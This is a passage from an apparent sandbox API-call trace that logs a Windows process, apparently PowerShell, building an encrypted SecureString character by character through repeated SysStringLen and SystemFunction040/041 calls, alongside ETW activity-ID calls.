(param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x3991\xc732\x3829\x2760\x3bdd\xc8e7\xd43\x97d\x55d2\xf6ba\xc851\xa031\x341f\x6078\xe62e\xc2bf") returned 0x30 [0139.312] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x3991\xc732\x3829\x2760\x3bdd\xc8e7\xd43\x97d\x55d2\xf6ba\xc851\xa031\x341f\x6078\xe62e\xc2bf") returned 0x30 [0139.312] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0139.312] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7PxsQffqKNj8缚菹晐鍝熡") returned 0x30 [0139.312] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0139.312] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x3991\xc732\x3829\x2760\x3bdd\xc8e7\xd43\x97d\x1f08\xfa99\xe88b\x62ad\xc5e0\xe3ac\x5917\x8a28") returned 0x30 [0139.312] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x3991\xc732\x3829\x2760\x3bdd\xc8e7\xd43\x97d\x1f08\xfa99\xe88b\x62ad\xc5e0\xe3ac\x5917\x8a28") returned 0x30 [0139.312] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0139.312] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6bXEs1e+vH0C5B7PxsQffqKNj8=菹晐鍝熡") returned 0x30 [0139.312] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0139.312] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.312] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.313] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.321] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\xee60\x693\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe638\x99a\x6c8c\x73b9\xadb8\x667\x0b") returned 0x0 [0139.321] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.321] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.321] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.322] SysStringLen (param_1="") returned 0x8 [0139.322] SysStringLen (param_1="Y") returned 0x8 [0139.322] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.322] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0139.322] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0139.322] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.322] SysStringLen (param_1="YW") returned 0x8 [0139.322] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.322] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0139.322] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0139.322] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.322] SysStringLen (param_1="YWM") returned 0x8 [0139.322] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.322] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0139.322] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0139.322] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.323] SysStringLen (param_1="YWM1") returned 0x8 [0139.323] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.323] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0139.323] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0139.323] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.323] SysStringLen (param_1="YWM1O") returned 0x8 [0139.323] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.323] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0139.323] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0139.323] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.323] SysStringLen (param_1="YWM1OT") returned 0x8 [0139.323] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.323] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0139.323] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0139.323] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.323] SysStringLen (param_1="YWM1OTE") returned 0x8 [0139.323] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.324] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0139.324] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0139.324] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.324] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0139.324] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.324] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0139.324] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0139.324] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0139.324] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0139.324] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.324] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0139.324] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.324] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0139.324] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0139.324] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.324] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0139.324] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.325] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0139.325] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0139.325] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.325] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0139.325] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.325] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0139.325] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0139.325] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.325] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0139.325] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.325] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0139.325] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0139.325] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.325] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0139.325] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.325] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0139.325] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0139.325] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.326] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0139.326] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.326] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0139.326] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0139.326] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.326] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0139.326] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.326] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0139.326] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0139.326] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.326] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0139.326] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.326] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0139.326] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0139.326] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0139.326] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0139.326] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.326] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0139.326] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0139.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0139.327] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.327] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0139.327] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0139.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0139.327] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.327] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0139.327] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0139.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0139.327] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.327] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0139.327] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0139.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0139.327] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.327] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0139.327] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0139.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0139.328] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.328] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0139.328] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0139.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0139.328] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.328] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0139.328] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0139.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0139.328] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.328] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0139.328] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0139.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0139.328] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.329] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0139.329] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0139.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0139.329] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.329] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0139.329] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0139.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0139.329] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.329] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0139.329] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0139.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0139.329] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.329] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0139.329] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.329] SysStringLen 